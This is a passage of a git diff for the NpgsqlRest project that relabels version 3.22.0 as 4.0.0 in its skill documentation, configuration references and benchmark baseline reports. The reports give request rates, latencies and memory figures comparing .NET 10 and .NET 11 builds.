**Automatic params forwarded upstream** (3.18.1+): user claims, IP, HTTP-Custom-Type fields, resolved-param expressions are forwarded in the endpoint's native shape (query for `QueryString` endpoints, merged JSON body for `BodyJson`), honoring `@body_parameter_name`. Since 3.22.0 client-sent values under those names are dropped (server values replace, never append). -- **Credentials are not forwarded** (3.22.0+): `ProxyOptions.ExcludeHeaders` defaults include `Cookie`, `Authorization`, `Proxy-Authorization`; `ExcludeResponseHeaders` includes `Set-Cookie`. Remove `Authorization` only for a trusted internal upstream that needs the caller's bearer token. +- **Automatic params forwarded upstream** (3.18.1+): user claims, IP, HTTP-Custom-Type fields, resolved-param expressions are forwarded in the endpoint's native shape (query for `QueryString` endpoints, merged JSON body for `BodyJson`), honoring `@body_parameter_name`. Since 4.0.0 client-sent values under those names are dropped (server values replace, never append). +- **Credentials are not forwarded** (4.0.0+): `ProxyOptions.ExcludeHeaders` defaults include `Cookie`, `Authorization`, `Proxy-Authorization`; `ExcludeResponseHeaders` includes `Set-Cookie`. Remove `Authorization` only for a trusted internal upstream that needs the caller's bearer token. - **`@proxy_out [METHOD] [host]`** — the inverse direction: run the function FIRST, then forward its result body to the upstream service and return the upstream response (content-type and status included) to the client. E.g. build invoice JSON in SQL, `@proxy_out POST https://pdf-renderer.internal/render` returns the rendered PDF. - Requires `ProxyOptions.Enabled = true`. ## SSE (server-sent events) -A long-running routine streams progress via `RAISE INFO/NOTICE`. Annotate with `@sse` (or a project's `sse_publish`/`sse_subscribe` split) and a scope (`all` | `authorize` | `matching`). Per-recipient targeting: `raise info 'msg' using hint = format('authorize id:%s', _user_id)` (plain hint values are roles; `id:`/`user:` prefixes target users — since 3.22.0). A subscribe-only endpoint's body never runs. A cache hit skips execution → no RAISE → no broadcast (correct). +A long-running routine streams progress via `RAISE INFO/NOTICE`. Annotate with `@sse` (or a project's `sse_publish`/`sse_subscribe` split) and a scope (`all` | `authorize` | `matching`). Per-recipient targeting: `raise info 'msg' using hint = format('authorize id:%s', _user_id)` (plain hint values are roles; `id:`/`user:` prefixes target users — since 4.0.0). A subscribe-only endpoint's body never runs. A cache hit skips execution → no RAISE → no broadcast (correct). ## MCP (Model Context Protocol) @@ -185,7 +185,7 @@ comment on function auth_login(text, text) is 'HTTP POST ``` - `status` 200 → success (other codes → that HTTP status); `scheme` picks the auth scheme/cookie. -- Returning the `hash` column makes password verification mandatory (missing/NULL password or hash → fail). A wrong password answers **401**, the same as an unknown user (no row) — since 3.22.0 (was 404); unknown users also cost one dummy hash check. +- Returning the `hash` column makes password verification mandatory (missing/NULL password or hash → fail). A wrong password answers **401**, the same as an unknown user (no row) — since 4.0.0 (was 404); unknown users also cost one dummy hash check. - Column→claim mapping in `AuthenticationOptions` (`StatusColumnName`, `SchemeColumnName`, role/name/id claim columns). - **Inject identity from claims, never trust client-supplied IDs.** Declare params like `_user_id text = null`, `_user_roles text[] = '{}'` and map them via `AuthenticationOptions.ParameterNameClaimsMapping` / `IpAddressParameterName`. NpgsqlRest fills them from the authenticated principal. - Use `security definer` on API functions and still permission-check inside (`assert _user_roles && array['admin']` …). @@ -290,10 +290,10 @@ For Docker Desktop bind mounts set `DOTNET_USE_POLLING_FILE_WATCHER=1` (file eve - **`HttpClientOptions.Enabled` / `ProxyOptions.Enabled` / `SqlFileSource.Enabled`** must be true for those features. `@cache` on a non-GET HTTP type is ignored with a warning. - **SQL files:** annotations are in `--`/`/* */` comments; params are named `:name` (preferred — auto-named) or positional `$N` (name via `@param`) — **never mixed in one file** (startup error); a startup Describe error fails boot unless `ErrorMode: Skip`; use `@returns` for statements over not-yet-existing objects (temp tables); `DO` blocks can't take params or return values. - **A `.sql` file named `*.test.sql` never becomes an endpoint** — `SqlFileSource.SkipPattern` excludes test files by default. -- **Client IP is the connection address** (3.22.0+): `X-Forwarded-For`/`X-Real-IP` are not trusted. Behind a reverse proxy enable `ForwardedHeaders` (`ForwardLimit: 1`, `KnownProxies`), or rate limits, `_ip_address` and `request.ip_address` all see the proxy's IP. -- **`Antiforgery:Enabled: true` enforces the token** on POST/PUT/PATCH/DELETE of every API endpoint (3.22.0+; before it had no effect on them) → `400` without it. Browser code must send the `Antiforgery:HeaderName` header. -- **`@user_params` ignore client values for anonymous callers** (3.22.0+): claim-bound params get their default/NULL, never `?userId=...` from the request. -- **No `{placeholders}` in upload `row_command`** (3.22.0+) — it is SQL; use its `$1`–`$4` params (metadata JSON `$4` includes user claims). +- **Client IP is the connection address** (4.0.0+): `X-Forwarded-For`/`X-Real-IP` are not trusted. Behind a reverse proxy enable `ForwardedHeaders` (`ForwardLimit: 1`, `KnownProxies`), or rate limits, `_ip_address` and `request.ip_address` all see the proxy's IP. +- **`Antiforgery:Enabled: true` enforces the token** on POST/PUT/PATCH/DELETE of every API endpoint (4.0.0+; before it had no effect on them) → `400` without it. Browser code must send the `Antiforgery:HeaderName` header. +- **`@user_params` ignore client values for anonymous callers** (4.0.0+): claim-bound params get their default/NULL, never `?userId=...` from the request. +- **No `{placeholders}` in upload `row_command`** (4.0.0+) — it is SQL; use its `$1`–`$4` params (metadata JSON `$4` includes user claims). - **Test HTTP block paths must be the FULL path** including `UrlPathPrefix` (`/api/...`) — a bare `/get-users` is a 404 with a warning. - **`ResponseTempTable.DebugTable` is a dev-only debugging aid** — never enable in CI; combine with `Keep: true` when the run drops its test database. - After changing an annotation, re-run with `--log:minimallevels:npgsqlrest=debug` (or `--validate`) to confirm it parsed as intended. diff --git a/.claude/skills/npgsqlrest/annotations-reference.md b/.claude/skills/npgsqlrest/annotations-reference.md index 3318f421..cdb9d5a2 100644 --- a/.claude/skills/npgsqlrest/annotations-reference.md +++ b/.claude/skills/npgsqlrest/annotations-reference.md @@ -1,6 +1,6 @@ # NpgsqlRest — Full Annotation Reference -Every comment annotation and custom parameter, generated from `npgsqlrest --annotations` (NpgsqlRest v3.22.0): what core reads and what every plugin and handler of the client reads. Regenerate with `npgsqlrest --annotations`. +Every comment annotation and custom parameter, generated from `npgsqlrest --annotations` (NpgsqlRest v4.0.0): what core reads and what every plugin and handler of the client reads. Regenerate with `npgsqlrest --annotations`. Each entry says who reads it (**Owner**), how it is written (**Form**) and where it is read (**Where**). The `@` prefix is optional on endpoint annotations. In an endpoint comment, a line starting with `@` that nothing reads is not published as the description, and an unknown `@key = value` logs a warning at startup; `npgsqlrest --endpoints` lists both per endpoint (`unknownAnnotations`, `unknownCustomParameters`, `diagnostics`). diff --git a/.claude/skills/npgsqlrest/configuration-reference.jsonc b/.claude/skills/npgsqlrest/configuration-reference.jsonc index a7830d1a..e1593d7c 100644 --- a/.claude/skills/npgsqlrest/configuration-reference.jsonc +++ b/.claude/skills/npgsqlrest/configuration-reference.jsonc @@ -1,5 +1,5 @@ // NpgsqlRest — FULL configuration reference (every option, with inline comments). -// Generated verbatim from: npgsqlrest --config (NpgsqlRest v3.22.0) +// Generated verbatim from: npgsqlrest --config (NpgsqlRest v4.0.0) // This is the source of truth for configuration. Regenerate with: npgsqlrest --config { diff --git a/BenchmarkTests/Baselines/EndpointBenchmarks-3.21.0.md b/BenchmarkTests/Baselines/EndpointBenchmarks-3.21.0.md index 902aa255..898855fc 100644 --- a/BenchmarkTests/Baselines/EndpointBenchmarks-3.21.0.md +++ b/BenchmarkTests/Baselines/EndpointBenchmarks-3.21.0.md @@ -1,8 +1,8 @@ -# EndpointBenchmarks baseline: 3.21.0 (before the 3.22.0 upgrades) +# EndpointBenchmarks baseline: 3.21.0 (before the 4.0.0 upgrades) -> **Superseded for the .NET 11 comparison:** these numbers were measured with BenchmarkDotNet 0.15.8, which cannot run on .NET 11. The before/after comparison, with the .NET 10 side measured again under BenchmarkDotNet 0.16.0-preview.2, is in `EndpointBenchmarks-3.22.0-net11.md`. +> **Superseded for the .NET 11 comparison:** these numbers were measured with BenchmarkDotNet 0.15.8, which cannot run on .NET 11. The before/after comparison, with the .NET 10 side measured again under BenchmarkDotNet 0.16.0-preview.2, is in `EndpointBenchmarks-4.0.0-net11.md`. -Recorded 2026-11-11 on branch `3.22.0` at `6cc6f55`, which has the same code as the 3.21.0 release. Taken **before** any 3.22.0 dependency or runtime upgrades, for a before/after comparison. +Recorded 2026-11-11 on branch `4.0.0` at `6cc6f55`, which has the same code as the 3.21.0 release. Taken **before** any 4.0.0 dependency or runtime upgrades, for a before/after comparison. ## What was measured diff --git a/BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-net11.md b/BenchmarkTests/Baselines/EndpointBenchmarks-4.0.0-net11.md similarity index 97% rename from BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-net11.md rename to BenchmarkTests/Baselines/EndpointBenchmarks-4.0.0-net11.md index 4a0b18ec..8ea3a680 100644 --- a/BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-net11.md +++ b/BenchmarkTests/Baselines/EndpointBenchmarks-4.0.0-net11.md @@ -1,4 +1,4 @@ -# EndpointBenchmarks: .NET 10 (3.21.0) vs .NET 11 (3.22.0 upgrades) +# EndpointBenchmarks: .NET 10 (3.21.0) vs .NET 11 (4.0.0 upgrades) Recorded 2026-11-11, on the same machine and PostgreSQL container as the baseline (`EndpointBenchmarks-3.21.0.md`): Apple M4 Pro, PostgreSQL 17.10 in `npgsqlrest-benchmark-pg`. @@ -10,7 +10,7 @@ Changing the measurement tool changes the numbers by itself. For example, the .N | | .NET 10 control | .NET 11 | |---|---|---| -| Code | `6cc6f55` (3.21.0), net10.0, LangVersion 14 | branch `3.22.0` (all projects net11.0, packages upgraded) | +| Code | `6cc6f55` (3.21.0), net10.0, LangVersion 14 | branch `4.0.0` (all projects net11.0, packages upgraded) | | Runtime | .NET 10.0.0 (10.0.25.52411) | .NET 11.0.0 (11.0.26.53018) | | ASP.NET Core / Microsoft.Extensions | 10.0.x | 11.0.0 | | Npgsql | 10.0.3 | 10.0.3 (no 11.x exists) | diff --git a/BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-perf.md b/BenchmarkTests/Baselines/EndpointBenchmarks-4.0.0-perf.md similarity index 80% rename from BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-perf.md rename to BenchmarkTests/Baselines/EndpointBenchmarks-4.0.0-perf.md index db266178..574a5875 100644 --- a/BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-perf.md +++ b/BenchmarkTests/Baselines/EndpointBenchmarks-4.0.0-perf.md @@ -1,4 +1,4 @@ -# EndpointBenchmarks: 3.22.0 performance work +# EndpointBenchmarks: 4.0.0 performance work Recorded 2026-11-19 on the same machine and PostgreSQL container as the earlier baselines: Apple M4 Pro, PostgreSQL 17.10 in `npgsqlrest-benchmark-pg` (port 55432), .NET 11.0.0, BenchmarkDotNet 0.16.0-preview.2 DefaultJob. Run with: @@ -7,9 +7,9 @@ NPGSQLREST_BENCHMARK_CONNECTION="Host=localhost;Port=55432;Database=postgres;Use dotnet run -c Release -- --endpoints ``` -The starting point is branch `3.22.0` with the security fixes applied, before any performance change. Each row adds one change to the previous row and is a single full run. +The starting point is branch `4.0.0` with the security fixes applied, before any performance change. Each row adds one change to the previous row and is a single full run. -This document has four parts; the numbers quoted in the changelog are those of **round 3** (3.22.0 against the released 3.21.0 on .NET 10) and, for endpoints with a request context, **round 4** at the end. **Round 1** (the sections up to "How the JIT verdict was checked") is the first set of changes, committed as `9d63171`. **Round 2** continues from there to the final request pipeline and compares it with the start of the performance work (`5befe76`, on .NET 11). **Round 3** compares the release with 3.21.0 on .NET 10, which also uncovered what resetting connections costs. Two statements in round 1 turned out to be wrong and are corrected in round 2: that methods with a pooling async builder stay classic when Runtime Async is on, and the ApacheBench numbers for the native AOT build. +This document has four parts; the numbers quoted in the changelog are those of **round 3** (4.0.0 against the released 3.21.0 on .NET 10) and, for endpoints with a request context, **round 4** at the end. **Round 1** (the sections up to "How the JIT verdict was checked") is the first set of changes, committed as `9d63171`. **Round 2** continues from there to the final request pipeline and compares it with the start of the performance work (`5befe76`, on .NET 11). **Round 3** compares the release with 3.21.0 on .NET 10, which also uncovered what resetting connections costs. Two statements in round 1 turned out to be wrong and are corrected in round 2: that methods with a pooling async builder stay classic when Runtime Async is on, and the ApacheBench numbers for the native AOT build. ## Results @@ -75,7 +75,7 @@ Run the JIT build of the client with `DOTNET_JitStdOutFile=jit.txt DOTNET_JitDis # Round 2: UTF-8 rendering, request state, Runtime Async -Recorded 2026-11-19, same machine and container. "Before" is `5befe76` (security fixes, no performance work), as in round 1. "After" is the final 3.22.0 working tree. Every comparison was interleaved (before, after, before, after ...). +Recorded 2026-11-19, same machine and container. "Before" is `5befe76` (security fixes, no performance work), as in round 1. "After" is the final 4.0.0 working tree. Every comparison was interleaved (before, after, before, after ...). ## What changed after round 1 @@ -158,9 +158,9 @@ Verification of the Runtime Async build: the full test suite (2,998 tests) passe --- -# Round 3: 3.22.0 against 3.21.0 on .NET 10, Runtime Async, and connection resets +# Round 3: 4.0.0 against 3.21.0 on .NET 10, Runtime Async, and connection resets -Recorded 2026-11-19, same machine and container. Rounds 1 and 2 compared commits of the 3.22.0 branch with each other. This round compares what ships with the previous release: **3.21.0** built from `master` (`6cc6f55`) with the .NET 10 SDK (10.0.100, runtime 10.0.0), **3.22.0** on .NET 11, and 3.22.0 on .NET 11 compiled with Runtime Async (`-p:NpgsqlRestRuntimeAsync=true`), each as a JIT build (`dotnet NpgsqlRestClient.dll`) and as a native AOT executable (osx-arm64). Published the standard way, default settings. +Recorded 2026-11-19, same machine and container. Rounds 1 and 2 compared commits of the 4.0.0 branch with each other. This round compares what ships with the previous release: **3.21.0** built from `master` (`6cc6f55`) with the .NET 10 SDK (10.0.100, runtime 10.0.0), **4.0.0** on .NET 11, and 4.0.0 on .NET 11 compiled with Runtime Async (`-p:NpgsqlRestRuntimeAsync=true`), each as a JIT build (`dotnet NpgsqlRestClient.dll`) and as a native AOT executable (osx-arm64). Published the standard way, default settings. Load method as in round 2 (HTTP/1.1 keep-alive client, sequential latency at 1 connection, throughput at 32, server CPU per request at 8), with one more endpoint: `benchmark_plpgsql(_id int)`, a PL/pgSQL function that runs five small queries against a 1,000-row table. Three rounds per table, each in a different order of the variants; values are round 1 / 2 / 3. @@ -179,22 +179,22 @@ Requests per second at 32 connections and mean response time at 1 connection (µ | | Text req/s | PL/pgSQL req/s | 100 rows req/s | Text µs | PL/pgSQL µs | 100 rows µs | 119 KB json µs | |---|---|---|---|---|---|---|---| | JIT 3.21.0 (.NET 10) | 38,977 / 39,693 / 39,056 | 32,698 / 32,767 / 32,445 | 16,948 / 16,377 / 16,126 | 181.9 / 183.9 / 182.0 | 250.7 / 258.4 / 255.3 | 453.4 / 459.5 / 448.1 | 2444.5 / 2369.6 / 2398.0 | -| JIT 3.22.0 | 39,120 / 38,347 / 40,018 | 32,083 / 32,885 / 31,255 | 20,185 / 20,550 / 20,679 | 190.0 / 191.3 / 190.2 | 262.4 / 259.6 / 259.5 | 429.1 / 412.3 / 419.5 | 2226.2 / 2288.5 / 2256.1 | -| JIT 3.22.0 Runtime Async | 38,706 / 40,617 / 39,720 | 32,632 / 32,037 / 31,829 | 20,671 / 19,535 / 20,376 | 191.9 / 188.3 / 188.5 | 259.7 / 264.7 / 261.2 | 420.2 / 423.0 / 427.1 | 2195.8 / 2214.0 / 2249.2 | +| JIT 4.0.0 | 39,120 / 38,347 / 40,018 | 32,083 / 32,885 / 31,255 | 20,185 / 20,550 / 20,679 | 190.0 / 191.3 / 190.2 | 262.4 / 259.6 / 259.5 | 429.1 / 412.3 / 419.5 | 2226.2 / 2288.5 / 2256.1 | +| JIT 4.0.0 Runtime Async | 38,706 / 40,617 / 39,720 | 32,632 / 32,037 / 31,829 | 20,671 / 19,535 / 20,376 | 191.9 / 188.3 / 188.5 | 259.7 / 264.7 / 261.2 | 420.2 / 423.0 / 427.1 | 2195.8 / 2214.0 / 2249.2 | | AOT 3.21.0 (.NET 10) | 39,744 / 39,283 / 38,186 | 31,402 / 31,894 / 32,246 | 15,220 / 15,694 / 15,479 | 183.2 / 181.3 / 183.7 | 251.9 / 250.9 / 249.5 | 470.5 / 483.9 / 488.6 | 2381.9 / 2383.0 / 2346.8 | -| AOT 3.22.0 | 37,238 / 38,385 / 38,786 | 31,493 / 29,976 / 31,053 | 18,413 / 18,705 / 19,003 | 191.7 / 192.8 / 190.1 | 258.7 / 261.0 / 260.9 | 470.0 / 466.2 / 481.2 | 2114.5 / 2134.3 / 2113.2 | -| AOT 3.22.0 Runtime Async | 37,919 / 37,431 / 38,158 | 29,876 / 32,320 / 30,892 | 18,656 / 19,110 / 19,075 | 191.6 / 191.7 / 188.3 | 261.0 / 257.4 / 263.2 | 470.3 / 477.2 / 477.9 | 2179.8 / 2093.8 / 2115.2 | +| AOT 4.0.0 | 37,238 / 38,385 / 38,786 | 31,493 / 29,976 / 31,053 | 18,413 / 18,705 / 19,003 | 191.7 / 192.8 / 190.1 | 258.7 / 261.0 / 260.9 | 470.0 / 466.2 / 481.2 | 2114.5 / 2134.3 / 2113.2 | +| AOT 4.0.0 Runtime Async | 37,919 / 37,431 / 38,158 | 29,876 / 32,320 / 30,892 | 18,656 / 19,110 / 19,075 | 191.6 / 191.7 / 188.3 | 261.0 / 257.4 / 263.2 | 470.3 / 477.2 / 477.9 | 2179.8 / 2093.8 / 2115.2 | Server CPU per request at 8 connections (µs) and RSS after the load (MB): | | Text | 100 rows | 119 KB json | RSS | |---|---|---|---|---| | JIT 3.21.0 (.NET 10) | 198.1 / 203.5 / 202.4 | 421.2 / 403.0 / 451.2 | 835.0 / 910.0 / 901.7 | 327 / 333 / 338 | -| JIT 3.22.0 | 145.8 / 146.6 / 143.6 | 271.8 / 274.1 / 272.8 | 479.2 / 488.3 / 484.2 | 149 / 149 / 144 | -| JIT 3.22.0 Runtime Async | 146.5 / 143.0 / 134.6 | 277.5 / 272.9 / 267.9 | 492.5 / 473.3 / 462.5 | 149 / 145 / 148 | +| JIT 4.0.0 | 145.8 / 146.6 / 143.6 | 271.8 / 274.1 / 272.8 | 479.2 / 488.3 / 484.2 | 149 / 149 / 144 | +| JIT 4.0.0 Runtime Async | 146.5 / 143.0 / 134.6 | 277.5 / 272.9 / 267.9 | 492.5 / 473.3 / 462.5 | 149 / 145 / 148 | | AOT 3.21.0 (.NET 10) | 158.5 / 158.8 / 157.2 | 461.8 / 447.5 / 460.2 | 782.5 / 780.0 / 777.5 | 246 / 250 / 247 | -| AOT 3.22.0 | 151.4 / 150.2 / 152.4 | 328.9 / 324.1 / 328.0 | 505.0 / 481.7 / 493.3 | 65 / 62 / 65 | -| AOT 3.22.0 Runtime Async | 151.5 / 147.4 / 150.5 | 329.5 / 323.9 / 316.6 | 483.3 / 497.5 / 485.0 | 67 / 65 / 66 | +| AOT 4.0.0 | 151.4 / 150.2 / 152.4 | 328.9 / 324.1 / 328.0 | 505.0 / 481.7 / 493.3 | 65 / 62 / 65 | +| AOT 4.0.0 Runtime Async | 151.5 / 147.4 / 150.5 | 329.5 / 323.9 / 316.6 | 483.3 / 497.5 / 485.0 | 67 / 65 / 66 | ### With the connection reset (the lighter one that keeps plans), as an application with user_context gets it @@ -203,59 +203,59 @@ Requests per second at 32 connections and mean response time at 1 connection (µ | | Text req/s | PL/pgSQL req/s | 100 rows req/s | Text µs | PL/pgSQL µs | 100 rows µs | 119 KB json µs | |---|---|---|---|---|---|---|---| | JIT 3.21.0 (.NET 10) | 38,736 / 38,985 / 39,614 | 32,606 / 32,273 / 32,351 | 16,826 / 16,352 / 16,695 | 182.0 / 185.8 / 182.7 | 257.8 / 252.9 / 257.4 | 454.8 / 445.9 / 456.4 | 2399.3 / 2519.6 / 2409.3 | -| JIT 3.22.0 | 35,068 / 34,839 / 34,518 | 27,736 / 27,394 / 26,542 | 18,050 / 18,247 / 18,429 | 197.4 / 199.2 / 199.0 | 277.1 / 277.0 / 275.5 | 418.0 / 414.7 / 417.0 | 2317.4 / 2287.2 / 2273.4 | -| JIT 3.22.0 Runtime Async | 35,456 / 35,047 / 34,766 | 27,321 / 27,450 / 27,162 | 18,308 / 18,058 / 17,904 | 197.3 / 196.3 / 197.6 | 278.1 / 279.8 / 276.8 | 415.0 / 417.2 / 413.5 | 2281.4 / 2334.4 / 2246.8 | +| JIT 4.0.0 | 35,068 / 34,839 / 34,518 | 27,736 / 27,394 / 26,542 | 18,050 / 18,247 / 18,429 | 197.4 / 199.2 / 199.0 | 277.1 / 277.0 / 275.5 | 418.0 / 414.7 / 417.0 | 2317.4 / 2287.2 / 2273.4 | +| JIT 4.0.0 Runtime Async | 35,456 / 35,047 / 34,766 | 27,321 / 27,450 / 27,162 | 18,308 / 18,058 / 17,904 | 197.3 / 196.3 / 197.6 | 278.1 / 279.8 / 276.8 | 415.0 / 417.2 / 413.5 | 2281.4 / 2334.4 / 2246.8 | | AOT 3.21.0 (.NET 10) | 39,760 / 39,294 / 41,203 | 31,725 / 32,617 / 32,104 | 15,558 / 15,808 / 15,366 | 183.5 / 180.8 / 180.4 | 253.1 / 253.8 / 259.0 | 479.3 / 490.1 / 477.3 | 2407.7 / 2453.7 / 2464.2 | -| AOT 3.22.0 | 33,464 / 31,848 / 34,579 | 26,515 / 26,675 / 27,715 | 17,141 / 17,580 / 17,272 | 202.6 / 200.6 / 199.3 | 279.2 / 274.1 / 279.3 | 436.1 / 440.2 / 437.0 | 2188.6 / 2156.0 / 2142.5 | -| AOT 3.22.0 Runtime Async | 34,096 / 33,211 / 31,372 | 27,142 / 26,297 / 25,657 | 16,919 / 16,807 / 17,167 | 202.0 / 203.0 / 202.7 | 282.8 / 277.0 / 275.7 | 435.3 / 434.1 / 432.8 | 2151.9 / 2114.4 / 2167.4 | +| AOT 4.0.0 | 33,464 / 31,848 / 34,579 | 26,515 / 26,675 / 27,715 | 17,141 / 17,580 / 17,272 | 202.6 / 200.6 / 199.3 | 279.2 / 274.1 / 279.3 | 436.1 / 440.2 / 437.0 | 2188.6 / 2156.0 / 2142.5 | +| AOT 4.0.0 Runtime Async | 34,096 / 33,211 / 31,372 | 27,142 / 26,297 / 25,657 | 16,919 / 16,807 / 17,167 | 202.0 / 203.0 / 202.7 | 282.8 / 277.0 / 275.7 | 435.3 / 434.1 / 432.8 | 2151.9 / 2114.4 / 2167.4 | Server CPU per request at 8 connections (µs) and RSS after the load (MB): | | Text | 100 rows | 119 KB json | RSS | |---|---|---|---|---| | JIT 3.21.0 (.NET 10) | 195.1 / 193.4 / 192.0 | 431.0 / 438.4 / 434.0 | 910.0 / 884.2 / 891.7 | 330 / 327 / 334 | -| JIT 3.22.0 | 153.1 / 153.8 / 148.8 | 301.9 / 294.8 / 287.8 | 566.7 / 566.7 / 560.8 | 143 / 142 / 148 | -| JIT 3.22.0 Runtime Async | 154.6 / 154.6 / 153.1 | 300.6 / 297.2 / 294.1 | 560.0 / 570.8 / 551.7 | 145 / 148 / 144 | +| JIT 4.0.0 | 153.1 / 153.8 / 148.8 | 301.9 / 294.8 / 287.8 | 566.7 / 566.7 / 560.8 | 143 / 142 / 148 | +| JIT 4.0.0 Runtime Async | 154.6 / 154.6 / 153.1 | 300.6 / 297.2 / 294.1 | 560.0 / 570.8 / 551.7 | 145 / 148 / 144 | | AOT 3.21.0 (.NET 10) | 156.9 / 159.6 / 158.2 | 458.0 / 456.9 / 366.6 | 755.8 / 762.5 / 752.5 | 239 / 242 / 248 | -| AOT 3.22.0 | 166.8 / 157.5 / 159.8 | 366.5 / 344.4 / 353.9 | 595.0 / 557.5 / 570.0 | 61 / 65 / 60 | -| AOT 3.22.0 Runtime Async | 163.4 / 162.6 / 165.0 | 355.2 / 346.5 / 356.1 | 582.5 / 578.3 / 588.3 | 60 / 60 / 64 | +| AOT 4.0.0 | 166.8 / 157.5 / 159.8 | 366.5 / 344.4 / 353.9 | 595.0 / 557.5 / 570.0 | 61 / 65 / 60 | +| AOT 4.0.0 Runtime Async | 163.4 / 162.6 / 165.0 | 355.2 / 346.5 / 356.1 | 582.5 / 578.3 / 588.3 | 60 / 60 / 64 | -### .NET 10 against .NET 11 with the same 3.22.0 code (both with `DISCARD ALL`, before the reset rule) +### .NET 10 against .NET 11 with the same 4.0.0 code (both with `DISCARD ALL`, before the reset rule) Requests per second at 32 connections and mean response time at 1 connection (µs): | | Text req/s | 100 rows req/s | Text µs | 100 rows µs | 119 KB json µs | |---|---|---|---|---|---| | JIT 3.21.0 (.NET 10) | 39,908 / 39,701 / 39,338 | 16,597 / 16,504 / 16,956 | 188.7 / 181.1 / 183.7 | 441.7 / 446.7 / 446.1 | 2408.0 / 2433.7 / 2514.1 | -| JIT 3.22.0 code on .NET 10 | 34,767 / 34,084 / 34,264 | 18,557 / 18,437 / 18,535 | 189.7 / 189.9 / 187.2 | 392.8 / 390.7 / 391.5 | 2092.7 / 2114.1 / 2059.3 | -| JIT 3.22.0 (.NET 11) | 34,474 / 35,043 / 35,315 | 18,645 / 18,489 / 18,258 | 194.4 / 193.6 / 194.8 | 398.9 / 396.5 / 398.1 | 2323.7 / 2283.2 / 2320.2 | -| JIT 3.22.0 Runtime Async | 35,813 / 34,988 / 35,444 | 18,311 / 18,270 / 18,883 | 192.0 / 196.2 / 192.4 | 402.8 / 404.5 / 400.6 | 2289.6 / 2269.2 / 2213.2 | +| JIT 4.0.0 code on .NET 10 | 34,767 / 34,084 / 34,264 | 18,557 / 18,437 / 18,535 | 189.7 / 189.9 / 187.2 | 392.8 / 390.7 / 391.5 | 2092.7 / 2114.1 / 2059.3 | +| JIT 4.0.0 (.NET 11) | 34,474 / 35,043 / 35,315 | 18,645 / 18,489 / 18,258 | 194.4 / 193.6 / 194.8 | 398.9 / 396.5 / 398.1 | 2323.7 / 2283.2 / 2320.2 | +| JIT 4.0.0 Runtime Async | 35,813 / 34,988 / 35,444 | 18,311 / 18,270 / 18,883 | 192.0 / 196.2 / 192.4 | 402.8 / 404.5 / 400.6 | 2289.6 / 2269.2 / 2213.2 | | AOT 3.21.0 (.NET 10) | 41,238 / 39,076 / 38,328 | 14,805 / 15,352 / 15,363 | 182.0 / 181.8 / 180.9 | 458.9 / 466.8 / 464.6 | 2445.8 / 2605.1 / 2365.3 | -| AOT 3.22.0 code on .NET 10 | 35,966 / 36,284 / 33,788 | 17,088 / 17,403 / 17,433 | 192.0 / 193.1 / 193.1 | 424.7 / 418.9 / 422.5 | 2078.1 / 2062.4 / 2068.2 | -| AOT 3.22.0 (.NET 11) | 33,472 / 33,692 / 34,813 | 16,675 / 16,297 / 16,993 | 194.8 / 190.6 / 195.8 | 422.0 / 427.5 / 428.4 | 2150.9 / 2177.4 / 2172.9 | -| AOT 3.22.0 Runtime Async | 33,589 / 32,967 / 33,690 | 16,590 / 16,612 / 16,919 | 194.0 / 196.9 / 197.8 | 426.2 / 426.7 / 429.3 | 2194.1 / 2183.4 / 2150.3 | +| AOT 4.0.0 code on .NET 10 | 35,966 / 36,284 / 33,788 | 17,088 / 17,403 / 17,433 | 192.0 / 193.1 / 193.1 | 424.7 / 418.9 / 422.5 | 2078.1 / 2062.4 / 2068.2 | +| AOT 4.0.0 (.NET 11) | 33,472 / 33,692 / 34,813 | 16,675 / 16,297 / 16,993 | 194.8 / 190.6 / 195.8 | 422.0 / 427.5 / 428.4 | 2150.9 / 2177.4 / 2172.9 | +| AOT 4.0.0 Runtime Async | 33,589 / 32,967 / 33,690 | 16,590 / 16,612 / 16,919 | 194.0 / 196.9 / 197.8 | 426.2 / 426.7 / 429.3 | 2194.1 / 2183.4 / 2150.3 | Server CPU per request at 8 connections (µs) and RSS after the load (MB): | | Text | 100 rows | 119 KB json | RSS | |---|---|---|---|---| | JIT 3.21.0 (.NET 10) | 192.4 / 194.5 / 202.2 | 417.6 / 428.2 / 384.2 | 807.5 / 871.7 / 880.0 | 335 / 341 / 345 | -| JIT 3.22.0 code on .NET 10 | 211.6 / 208.9 / 212.8 | 360.6 / 357.8 / 362.6 | 600.0 / 593.3 / 577.5 | 282 / 280 / 283 | -| JIT 3.22.0 (.NET 11) | 152.1 / 153.1 / 150.8 | 290.5 / 290.1 / 285.9 | 531.7 / 550.0 / 529.2 | 141 / 140 / 141 | -| JIT 3.22.0 Runtime Async | 153.4 / 155.0 / 150.6 | 292.1 / 292.2 / 285.0 | 556.7 / 551.7 / 530.0 | 144 / 143 / 148 | +| JIT 4.0.0 code on .NET 10 | 211.6 / 208.9 / 212.8 | 360.6 / 357.8 / 362.6 | 600.0 / 593.3 / 577.5 | 282 / 280 / 283 | +| JIT 4.0.0 (.NET 11) | 152.1 / 153.1 / 150.8 | 290.5 / 290.1 / 285.9 | 531.7 / 550.0 / 529.2 | 141 / 140 / 141 | +| JIT 4.0.0 Runtime Async | 153.4 / 155.0 / 150.6 | 292.1 / 292.2 / 285.0 | 556.7 / 551.7 / 530.0 | 144 / 143 / 148 | | AOT 3.21.0 (.NET 10) | 156.5 / 158.5 / 158.6 | 442.9 / 435.8 / 405.1 | 769.2 / 745.0 / 764.2 | 245 / 244 / 248 | -| AOT 3.22.0 code on .NET 10 | 205.9 / 212.1 / 205.8 | 363.2 / 392.8 / 389.9 | 622.5 / 625.8 / 613.3 | 203 / 203 / 204 | -| AOT 3.22.0 (.NET 11) | 162.5 / 161.9 / 164.2 | 361.1 / 355.0 / 357.8 | 579.2 / 565.8 / 569.2 | 61 / 60 / 65 | -| AOT 3.22.0 Runtime Async | 159.6 / 160.0 / 163.4 | 355.4 / 354.8 / 355.5 | 569.2 / 563.3 / 564.2 | 60 / 61 / 66 | +| AOT 4.0.0 code on .NET 10 | 205.9 / 212.1 / 205.8 | 363.2 / 392.8 / 389.9 | 622.5 / 625.8 / 613.3 | 203 / 203 / 204 | +| AOT 4.0.0 (.NET 11) | 162.5 / 161.9 / 164.2 | 361.1 / 355.0 / 357.8 | 579.2 / 565.8 / 569.2 